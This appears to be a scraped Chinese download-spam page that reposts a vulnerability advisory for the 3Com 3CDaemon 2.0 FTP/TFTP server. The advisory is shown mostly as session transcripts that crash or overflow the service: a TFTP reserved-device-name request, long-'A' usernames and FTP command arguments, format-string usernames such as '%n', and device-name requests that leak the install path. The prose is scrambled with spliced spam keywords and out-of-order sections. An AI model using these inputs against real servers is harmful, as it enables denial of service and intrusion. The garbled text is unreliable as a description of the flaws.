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【AI商务】3COM 3CDaemon 2.02026最新版下载aiweb.aicloud

出色网2026-04-25 02:58:19【娱乐】6人已围观

简介不用我说了吧,3com的这款东西还是很有名很不错滴~~~3CDaemon是一款无偿的集成了TFTP、FTP和SYSLOG作用的应用程序。作用:FTP,TFTP,SYSLOG服侍器,TFTP顾客端 3C -AI商务

可导致TFTP服侍程序挂起:

D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn
The 最新载3CDaemon will be crashed with some msgs like
"Microsoft Visual C++ Runtime library"
"Runtime Error!"
"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "
"abnormal program termination".

2、可导致程序崩溃。版下

1、最新载AI商务
作用:FTP,版下TFTP,SYSLOG服侍器,不用我说了吧,最新载aiweb多个FTP命令存在格式串难题

提交格式字符串作为参数,版下aicloudTFTP保留设备名回绝服侍进攻:

提交类似如下的最新载请求,多个FTP命令超长参数缓冲区溢出:

cd,版下send,ls,,put,delete,rename,rmdir,literal,stat,CWD等FTP命令对参数缺少充分边界检查,多个FTP命令包设备名资讯泄露难题

请求保留设备名可导致返回程序安装路径资讯:

ftp> cd aux
550 aux : C:/3cdaemon/aux is 最新载not a directory!
ftp> cd lpt1
550 lpt1 : C:/3cdaemon/lpt1 is not a directory!


受效应体系:
3Com 3CDaemon 2.0 revision 10FTP和SYSLOG作用的版下应用程序。TFTP顾客端

3CDaemon存在多个安稳难题,最新载远程进攻者可以利用这些漏洞进行回绝服侍、版下提交超长用户名可导致缓冲区溢出:

D:\WINDOWS\system32>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)):
501 Invalid or 最新载missing parameters
Login failed.
ftp> user AAA..[about 241 A here]...AAAAA
Connection closed by remote host.

4、

6、版下FTP超长用户名缓冲区溢出

由于对用户名缺少正确边界缓冲区检查,最新载提交超长字符串作为命令参数可导致缓冲区溢出:

ftp> cd AAA..[about 398 A here]...AAAAA
Connection closed by remote host.
ftp>

ftp> ls AAA..[about 247 A here]...AAAAA
200 PORT command successful.
Connection closed by remote host.

ftp> put 1.txt AAA..[about 247 A here]...AAAAA
200 PORT command successful.
532 Need account for storing files
Connection closed by remote host.

5、FTP用户名存在格式串难题:

提交包含格式串字符作为用户名数字,格式串及缓冲区溢出等进攻。3com的这款东西还是很有名很不错滴~~~3CDaemon是一款无偿的集成了TFTP、可导致守护程序崩溃:

H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %n
Connection closed by remote host.

OR:
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %s
331 User name ok, need password
Password:[anythinghere]
530 Login access denied
Login failed.
ftp>

3、

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